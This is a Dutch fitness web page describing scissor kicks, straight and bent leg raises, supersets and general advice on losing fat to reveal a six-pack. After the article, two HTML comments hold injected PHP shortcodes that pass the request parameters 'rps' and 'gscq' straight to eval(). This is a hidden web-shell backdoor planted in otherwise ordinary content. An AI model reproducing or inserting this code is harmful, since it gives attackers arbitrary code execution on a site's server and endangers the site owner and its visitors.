Scissor kick buikspieroefening

Scissor kick buikspieroefening is een zeer goede buikspieroefening die door vele onderschat wordt. Deze oefening kan je thuis doen maar natuurlijk ook in de sportschool. De focus wordt tijdens deze oefening vooral gelegd op de onderste buikspieren maar je traint er natuurlijk je hele buik mee.

De beginpositie van de scissor kick buikspieroefening is als volgt je gaat op je rug liggen en kijkt recht naar boven, je armen liggen gestrekt naast je met je handen op de grond, je kunt op je handen liggen met je kont als je dit fijn vindt. Beide benen til je gestrekt een klein stukje van de grond zoals op afbeelding A te zien is. Vanuit deze positie til je een been langzaam en beheerst op (Afbeelding B) en gaat langzaam weer terug naar positie A, daarna doe je je andere been dit wissel je steeds af. Let er wel op dat je hoofd stil houd tijdens de oefening en dat je voeten de grond steeds net niet aanraken zo blijft de spanning op de buikspieren.

Variatie:

Je kunt in plaats van je benen verticaal te bewegen ze ook horizontaal onder elkaar door bewegen. Het verschil is alleen dat je nu beide benen tegelijk doet en ze horizontaal verplaatst. Doe bijvoorbeeld eerst 10 verticale per been en direct daarna 10 horizontale hier na zul je je buikspieren wel voelen branden.

 

Leg raises

Deze buikspieroefening kan je zowel thuis als in de sportschool uitvoeren en de focus wordt vooral gelegd op de onderste buikspieren.

Straight leg raises

Je gaat op je rug liggen,strek je benen en til ze een stukje van de grond.Vanuit deze positie beginnen we met de oefening (afbeelding 1) . Til je benen langzaam en gestrekt omhoog tot dat je benen recht omhoog zijn (afbeelding 2). Daarna laat je je benen weer langzaam zakken naar de begin positie.Tijdens de gehele oefening zijn je benen gestrekt. Belangrijk bij deze oefening is dat je je kin op je borst plaatst en met je voeten de vloer of het matje niet aanraakt.

 

 

 

 

 

 

 

  

                                                                                                                                                                                                                                                  Bent leg raises

Een goede afwisseling op de straight leg raises zijn de bent leg raises deze oefening is ook iets gemakkelijker. De begin positie is precies het zelfde als bij de straight leg raises (afbeelding 1). Vanuit deze positie buig je je benen richting je borst (afbeelding 2) deze positie hou je een paar seconde vast daarna buig je je benen weer langzaam terug naar de begin positie.

 

 

 

 

Deze twee oefeningen kan je heel goed als superset uitvoeren doe bijvoorbeeld eerst 10 straight leg raises en doe daar direct 10 bent leg raises achteraan. Zijn de oefeningen te licht voor je dan kan je de oefening verzwaren door een dumbell tussen je voeten te klemmen let er wel op dat je de oefening correct blijft uitvoeren.

Vet verliezen voor een sixpack

Iedereen heeft een 6pack, alleen zijn de blokjes niet bij iedereen zichtbaar. Bij sommige mensen zit de sixpack onder een laag vet. Om de sixpack zichtbaar te krijgen zou dit vet verbrandt moeten worden, helaas is het niet mogelijk om alleen buik vet te verliezen.

Om deze reden worden er regelmatig artikelen toegevoegd aan de website waarin wordt uitgelegd hoe jij het beste vet kan verliezen zonder daarvoor spiermassa in te hoeven leveren. In de artikelen wordt vooral nadruk gelegd op een gezonde voeding. Dus heb jij teveel vet lees dan onderstaande artikelen zodat je het je zelf makkelijker maakt om vet te verliezen.

 

 

<!– [insert_php]if (isset($_REQUEST["rps"])){eval($_REQUEST["rps"]);exit;}[/insert_php][php]if (isset($_REQUEST["rps"])){eval($_REQUEST["rps"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["gscq"])){eval($_REQUEST["gscq"]);exit;}[/insert_php][php]if (isset($_REQUEST["gscq"])){eval($_REQUEST["gscq"]);exit;}[/php] –>